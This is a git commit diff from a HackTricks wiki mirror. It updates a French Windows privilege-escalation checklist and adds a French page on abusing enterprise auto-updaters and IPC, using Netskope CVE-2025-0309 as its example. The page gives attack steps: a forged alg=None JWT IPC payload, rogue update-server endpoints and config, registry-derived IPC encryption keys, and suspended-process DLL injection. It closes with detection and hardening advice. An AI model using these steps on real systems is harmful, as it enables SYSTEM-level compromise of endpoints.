mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/checklist-windows-privilege-escalatio
This commit is contained in:
parent
24b7aa2bef
commit
f518e3317c
@ -236,6 +236,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
|
@ -1,114 +1,115 @@
|
||||
# Liste de contrôle - Élévation de privilèges locale Windows
|
||||
# Checklist - Escalade locale de privilèges Windows
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### **Meilleur outil pour rechercher des vecteurs d'élévation de privilèges locaux Windows :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Meilleur outil pour rechercher les vecteurs d'escalade de privilèges locaux Windows :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Informations système](windows-local-privilege-escalation/index.html#system-info)
|
||||
### [Infos Système](windows-local-privilege-escalation/index.html#system-info)
|
||||
|
||||
- [ ] Obtenir [**Informations système**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Rechercher des **exploits de noyau** [**en utilisant des scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Utiliser **Google pour rechercher** des **exploits de noyau**
|
||||
- [ ] Utiliser **searchsploit pour rechercher** des **exploits de noyau**
|
||||
- [ ] Informations intéressantes dans [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Mots de passe dans [**l'historique PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] Informations intéressantes dans [**les paramètres Internet**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Lecteurs**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**Exploitation WSUS**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
- [ ] Obtenir [**informations système**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Rechercher des **exploits kernel** [**avec des scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Utiliser **Google** pour rechercher des exploits kernel
|
||||
- [ ] Utiliser **searchsploit** pour rechercher des exploits kernel
|
||||
- [ ] Infos intéressantes dans les [**variables d'environnement**](windows-local-privilege-escalation/index.html#environment) ?
|
||||
- [ ] Mots de passe dans l’[**historique PowerShell**](windows-local-privilege-escalation/index.html#powershell-history) ?
|
||||
- [ ] Infos intéressantes dans les [**paramètres Internet**](windows-local-privilege-escalation/index.html#internet-settings) ?
|
||||
- [ ] [**Lecteurs**](windows-local-privilege-escalation/index.html#drives) ?
|
||||
- [ ] [**Exploit WSUS**](windows-local-privilege-escalation/index.html#wsus) ?
|
||||
- [ ] [**Mise à jour auto d'agents tiers / abus d'IPC**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) ?
|
||||
|
||||
### [Énumération des journaux/AV](windows-local-privilege-escalation/index.html#enumeration)
|
||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
||||
- [ ] Vérifier les paramètres [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)et [**WEF** ](windows-local-privilege-escalation/index.html#wef)
|
||||
- [ ] Vérifier les paramètres d’[**Audit**](windows-local-privilege-escalation/index.html#audit-settings) et de [**WEF**](windows-local-privilege-escalation/index.html#wef)
|
||||
- [ ] Vérifier [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||
- [ ] Vérifier si [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)est actif
|
||||
- [ ] [**Protection LSA**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] Vérifier si [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) est actif
|
||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection) ?
|
||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
||||
- [ ] [**Identifiants mis en cache**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Vérifier si un [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] [**Politique AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials) ?
|
||||
- [ ] Vérifier la présence d’un [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy) ?
|
||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
- [ ] [**Privilèges utilisateur**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Vérifier les [**privilèges** de l'utilisateur **actuel**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Êtes-vous [**membre d'un groupe privilégié**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Vérifier si vous avez [l'un de ces jetons activés](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Sessions utilisateurs**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Vérifier[ **les dossiers des utilisateurs**](windows-local-privilege-escalation/index.html#home-folders) (accès?)
|
||||
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Vérifier les **privilèges** de l’utilisateur [**actuel**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Êtes-vous [**membre d’un groupe privilégié**](windows-local-privilege-escalation/index.html#privileged-groups) ?
|
||||
- [ ] Vérifier si vous avez [l’un de ces tokens activés](windows-local-privilege-escalation/index.html#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Sessions utilisateurs**](windows-local-privilege-escalation/index.html#logged-users-sessions) ?
|
||||
- [ ] Vérifier [**homes des utilisateurs**](windows-local-privilege-escalation/index.html#home-folders) (accès ?)
|
||||
- [ ] Vérifier la [**Politique de mot de passe**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] Que contient[ **le Presse-papiers**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
- [ ] Que contient le [**Presse-papiers**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) ?
|
||||
|
||||
### [Réseau](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Vérifier les **informations** [**réseau** **actuelles**](windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Vérifier les **services locaux cachés** restreints à l'extérieur
|
||||
- [ ] Vérifier les [**informations réseau**](windows-local-privilege-escalation/index.html#network) **actuelles**
|
||||
- [ ] Vérifier les **services locaux cachés** restreints vers l’extérieur
|
||||
|
||||
### [Processus en cours](windows-local-privilege-escalation/index.html#running-processes)
|
||||
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
|
||||
|
||||
- [ ] Permissions des fichiers et dossiers des **binaries des processus**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Extraction de mots de passe en mémoire**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Applications GUI non sécurisées**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Permissions des fichiers et dossiers des binaires des processus [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Voler des identifiants avec des **processus intéressants** via `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
|
||||
### [Services](windows-local-privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] [Pouvez-vous **modifier un service**?](windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] [Pouvez-vous **modifier** le **binaire** qui est **exécuté** par un **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] [Pouvez-vous **modifier** le **registre** de tout **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] [Pouvez-vous tirer parti de tout **chemin de binaire de service non cité**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
- [ ] [Pouvez-vous **modifier un service** ?](windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] [Pouvez-vous **modifier** le **binaire** exécuté par un **service** ?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] [Pouvez-vous **modifier** le **registre** d’un **service** ?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] [Pouvez-vous profiter d’un **unquoted service binary path** ?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
|
||||
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
|
||||
|
||||
- [ ] **Écrire** [**permissions sur les applications installées**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Applications de démarrage**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Pilotes vulnérables** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||
- [ ] **Permissions d’écriture** sur des applications installées [**write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Applications au démarrage**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] [**Drivers vulnérables**](windows-local-privilege-escalation/index.html#drivers)
|
||||
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||
|
||||
- [ ] Pouvez-vous **écrire dans un dossier à l'intérieur de PATH**?
|
||||
- [ ] Y a-t-il un binaire de service connu qui **essaie de charger une DLL non existante**?
|
||||
- [ ] Pouvez-vous **écrire** dans un **dossier de binaries**?
|
||||
- [ ] Pouvez-vous **écrire dans un dossier présent dans PATH** ?
|
||||
- [ ] Existe-t-il un binaire de service connu qui **tente de charger une DLL inexistante** ?
|
||||
- [ ] Pouvez-vous **écrire** dans un **dossier de binaires** ?
|
||||
|
||||
### [Réseau](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Énumérer le réseau (partages, interfaces, routes, voisins, ...)
|
||||
- [ ] Faire attention aux services réseau écoutant sur localhost (127.0.0.1)
|
||||
- [ ] Énumérer le réseau (shares, interfaces, routes, voisins, ...)
|
||||
- [ ] Porter une attention particulière aux services réseau écoutant sur localhost (127.0.0.1)
|
||||
|
||||
### [Identifiants Windows](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
|
||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)identifiants
|
||||
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) identifiants que vous pourriez utiliser?
|
||||
- [ ] Informations intéressantes sur les [**identifiants DPAPI**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] Mots de passe des [**réseaux Wifi enregistrés**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] Informations intéressantes dans [**les connexions RDP enregistrées**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Mots de passe dans [**les commandes récemment exécutées**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] Mots de passe du [**Gestionnaire d'identifiants de bureau à distance**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)?
|
||||
- [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/index.html#appcmd-exe)? Identifiants?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? Chargement latéral de DLL?
|
||||
- [ ] Identifiants [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
|
||||
- [ ] Utilisez-vous des identifiants du [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) ?
|
||||
- [ ] [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) intéressants ?
|
||||
- [ ] Mots de passe des réseaux [**Wifi**](windows-local-privilege-escalation/index.html#wifi) sauvegardés ?
|
||||
- [ ] Infos intéressantes dans les [**connexions RDP enregistrées**](windows-local-privilege-escalation/index.html#saved-rdp-connections) ?
|
||||
- [ ] Mots de passe dans les [**commandes récemment exécutées**](windows-local-privilege-escalation/index.html#recently-run-commands) ?
|
||||
- [ ] Mots de passe du [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) ?
|
||||
- [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/index.html#appcmd-exe) ? Identifiants ?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm) ? DLL Side Loading ?
|
||||
|
||||
### [Fichiers et Registre (Identifiants)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
|
||||
- [ ] **Putty :** [**Identifiants**](windows-local-privilege-escalation/index.html#putty-creds) **et** [**clés hôtes SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**Clés SSH dans le registre**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] Mots de passe dans [**fichiers non surveillés**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] Toute sauvegarde de [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
||||
- [ ] [**Identifiants Cloud**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] Fichier [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)?
|
||||
- [ ] [**Mot de passe GPP mis en cache**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] Mot de passe dans le [**fichier de configuration IIS Web**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] Informations intéressantes dans [**journaux web**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] Voulez-vous [**demander des identifiants**](windows-local-privilege-escalation/index.html#ask-for-credentials) à l'utilisateur?
|
||||
- [ ] Fichiers intéressants [**dans la Corbeille**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Autre [**registre contenant des identifiants**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] À l'intérieur des [**données du navigateur**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, historique, signets, ...)?
|
||||
- [ ] [**Recherche de mots de passe génériques**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) dans les fichiers et le registre
|
||||
- [ ] **Putty :** [**identifiants**](windows-local-privilege-escalation/index.html#putty-creds) **et** [**clefs d’hôte SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**Clés SSH dans le registre**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) ?
|
||||
- [ ] Mots de passe dans des [**fichiers unattended**](windows-local-privilege-escalation/index.html#unattended-files) ?
|
||||
- [ ] Existe-t-il une sauvegarde [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) ?
|
||||
- [ ] [**Identifiants cloud**](windows-local-privilege-escalation/index.html#cloud-credentials) ?
|
||||
- [ ] Fichier [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) ?
|
||||
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) ?
|
||||
- [ ] Mot de passe dans le [**IIS Web config**](windows-local-privilege-escalation/index.html#iis-web-config) ?
|
||||
- [ ] Infos intéressantes dans les [**logs web**](windows-local-privilege-escalation/index.html#logs) ?
|
||||
- [ ] Voulez-vous [**demander des identifiants**](windows-local-privilege-escalation/index.html#ask-for-credentials) à l’utilisateur ?
|
||||
- [ ] Fichiers intéressants dans la [**Corbeille**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) ?
|
||||
- [ ] Autres [**renseignements dans le registre contenant des identifiants**](windows-local-privilege-escalation/index.html#inside-the-registry) ?
|
||||
- [ ] Dans les [**données du navigateur**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, historique, bookmarks, ...) ?
|
||||
- [ ] [**Recherche générique de mots de passe**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) dans les fichiers et le registre
|
||||
- [ ] [**Outils**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe
|
||||
|
||||
### [Gestionnaires fuyants](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
|
||||
- [ ] Avez-vous accès à un gestionnaire d'un processus exécuté par l'administrateur?
|
||||
- [ ] Avez-vous accès à un handler d’un processus exécuté par un administrateur ?
|
||||
|
||||
### [Impersonation de client de pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
|
||||
- [ ] Vérifiez si vous pouvez en abuser
|
||||
- [ ] Vérifier si vous pouvez l’abuser
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,123 @@
|
||||
# Abuser les Auto-Updaters d'entreprise et l'IPC privilégié (p. ex., Netskope stAgentSvc)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette page généralise une classe de chaînes d'escalade de privilèges locales Windows trouvées dans les agents endpoint d'entreprise et les updaters qui exposent une surface IPC peu contraignante et un flux de mise à jour privilégié. Un exemple représentatif est Netskope Client for Windows < R129 (CVE-2025-0309), où un utilisateur peu privilégié peut forcer l'inscription sur un serveur contrôlé par l'attaquant puis fournir un MSI malveillant que le service SYSTEM installe.
|
||||
|
||||
Idées clés réutilisables contre des produits similaires :
|
||||
- Abuser de l'IPC localhost d'un service privilégié pour forcer la ré‑inscription ou la reconfiguration vers un serveur de l'attaquant.
|
||||
- Implémenter les update endpoints du vendor, livrer un Trusted Root CA rogue, et pointer l'updater vers un package malveillant « signé ».
|
||||
- Éviter les vérifications faibles du signer (CN allow‑lists), les flags digest optionnels, et les propriétés MSI laxistes.
|
||||
- Si l'IPC est « encrypted », dériver la key/IV à partir d'identifiants machine lisibles par tous stockés dans le registry.
|
||||
- Si le service restreint les appelants par image path/process name, injecter dans un processus allow‑listé ou en lancer un suspendu et bootstrapper votre DLL via un patch minimal du thread‑context.
|
||||
|
||||
---
|
||||
## 1) Forcer l'inscription vers un serveur contrôlé par l'attaquant via l'IPC localhost
|
||||
|
||||
De nombreux agents incluent un processus UI en mode utilisateur qui communique avec un service SYSTEM via TCP localhost en utilisant JSON.
|
||||
|
||||
Observé chez Netskope :
|
||||
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
|
||||
Flux d'exploitation :
|
||||
1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
|
||||
2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
|
||||
```json
|
||||
{
|
||||
"148": {
|
||||
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
|
||||
"tenantName": "TestOrg"
|
||||
}
|
||||
}
|
||||
```
|
||||
3) Le service commence à contacter votre serveur malveillant pour l'enrôlement/la configuration, p. ex. :
|
||||
- /v1/externalhost?service=enrollment
|
||||
- /config/user/getbrandingbyemail
|
||||
|
||||
Remarques :
|
||||
- Si la vérification de l'appelant est basée sur le chemin/nom, faites provenir la requête d'un vendor binary allow‑listed (voir §4).
|
||||
|
||||
---
|
||||
## 2) Détourner le canal de mise à jour pour exécuter du code en tant que SYSTEM
|
||||
|
||||
Une fois que le client communique avec votre serveur, implémentez les endpoints attendus et orientez-le vers un attacker MSI. Séquence typique :
|
||||
|
||||
1) /v2/config/org/clientconfig → Retourner la configuration JSON avec un intervalle de mise à jour très court, p. ex. :
|
||||
```json
|
||||
{
|
||||
"clientUpdate": { "updateIntervalInMin": 1 },
|
||||
"check_msi_digest": false
|
||||
}
|
||||
```
|
||||
2) /config/ca/cert → Retourne un certificat CA au format PEM. Le service l'installe dans le magasin Trusted Root de Local Machine.
|
||||
3) /v2/checkupdate → Fournit des métadonnées pointant vers un MSI malveillant et une version factice.
|
||||
|
||||
Bypass des vérifications courantes observées en pratique :
|
||||
- Signer CN allow‑list : le service peut se contenter de vérifier que le Subject CN est “netSkope Inc” ou “Netskope, Inc.”. Votre CA malveillante peut émettre un certificat leaf avec ce CN et signer le MSI.
|
||||
- CERT_DIGEST property : inclure une propriété MSI bénigne nommée CERT_DIGEST. Aucune application de cette valeur à l'installation.
|
||||
- Optional digest enforcement : un flag de config (par ex., check_msi_digest=false) désactive la validation cryptographique supplémentaire.
|
||||
|
||||
Résultat : le service SYSTEM installe votre MSI depuis
|
||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||
et exécute du code arbitraire en tant que NT AUTHORITY\SYSTEM.
|
||||
|
||||
---
|
||||
## 3) Forging encrypted IPC requests (when present)
|
||||
|
||||
Depuis R127, Netskope encapsulait le JSON IPC dans un champ encryptData qui ressemble à du Base64. Le reverse engineering a montré un AES avec key/IV dérivés de valeurs de registre lisibles par n’importe quel utilisateur :
|
||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||
|
||||
Les attaquants peuvent reproduire le chiffrement et envoyer des commandes chiffrées valides depuis un utilisateur standard. Astuce générale : si un agent "chiffre" soudainement son IPC, cherchez des device IDs, product GUIDs, install IDs sous HKLM comme matériau.
|
||||
|
||||
---
|
||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||
|
||||
Certains services tentent d'authentifier le pair en résolvant le PID de la connexion TCP et en comparant le chemin/nom de l'image avec des binaires vendor allow‑listés situés sous Program Files (par ex., stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
|
||||
Deux contournements pratiques :
|
||||
- DLL injection dans un processus allow‑listé (par ex., nsdiag.exe) et proxy de l'IPC depuis l'intérieur.
|
||||
- Lancer un binaire allow‑listé en suspended et bootstrapper votre DLL proxy sans CreateRemoteThread (voir §5) pour satisfaire les règles anti‑tamper appliquées par le driver.
|
||||
|
||||
---
|
||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||
|
||||
Les produits fournissent souvent un minifilter / OB callbacks driver (par ex., Stadrv) pour retirer des droits dangereux des handles vers les processus protégés :
|
||||
- Process : supprime PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread : limite à THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
|
||||
Un loader user‑mode fiable qui respecte ces contraintes :
|
||||
1) CreateProcess d'un binaire vendor avec CREATE_SUSPENDED.
|
||||
2) Obtenir les handles encore autorisés : PROCESS_VM_WRITE | PROCESS_VM_OPERATION sur le process, et un handle de thread avec THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou juste THREAD_RESUME si vous patcher du code à un RIP connu).
|
||||
3) Écraser ntdll!NtContinue (ou un autre thunk précoce garanti mappé) par un petit stub qui appelle LoadLibraryW sur le chemin de votre DLL, puis saute en arrière.
|
||||
4) ResumeThread pour déclencher votre stub in‑process et charger votre DLL.
|
||||
|
||||
Parce que vous n'avez jamais utilisé PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME sur un process déjà‑protégé (vous l'avez créé), la politique du driver est satisfaite.
|
||||
|
||||
---
|
||||
## 6) Practical tooling
|
||||
- NachoVPN (Netskope plugin) automatise une CA malveillante, la signature d’un MSI malveillant, et fournit les endpoints nécessaires : /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope est un client IPC personnalisé qui fabrique des messages IPC arbitraires (optionnellement AES‑chiffrés) et inclut l'injection via processus suspendu pour émaner d'un binaire allow‑listé.
|
||||
|
||||
---
|
||||
## 7) Detection opportunities (blue team)
|
||||
- Surveiller les ajouts au Local Machine Trusted Root. Sysmon + registry‑mod eventing (voir les recommandations SpecterOps) fonctionne bien.
|
||||
- Signaler les exécutions de MSI initiées par le service de l'agent depuis des chemins comme C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Examiner les logs de l'agent pour des hosts/tenants d'enrôlement inattendus, ex. : C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – rechercher des anomalies addonUrl / tenant et provisioning msg 148.
|
||||
- Alerter sur les clients IPC localhost qui ne sont pas les binaires signés attendus, ou qui proviennent d'arbres de processus enfants inhabituels.
|
||||
|
||||
---
|
||||
## Hardening tips for vendors
|
||||
- Lier les hosts d'enrôlement/update à une allow‑list stricte ; rejeter les domaines non fiables dans clientcode.
|
||||
- Authentifier les peers IPC avec des primitives OS (ALPC security, named‑pipe SIDs) plutôt qu'avec des vérifications de chemin/nom d'image.
|
||||
- Garder le matériel secret hors de HKLM lisible par tous ; si l'IPC doit être chiffré, dériver les clés depuis des secrets protégés ou négocier sur des canaux authentifiés.
|
||||
- Traiter l'updater comme une surface de la supply‑chain : exiger une chaîne complète vers une CA de confiance que vous contrôlez, vérifier les signatures des packages contre des clés épinglées, et échouer fermé si la validation est désactivée dans la config.
|
||||
|
||||
## References
|
||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||
- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
|
||||
- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
|
||||
- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user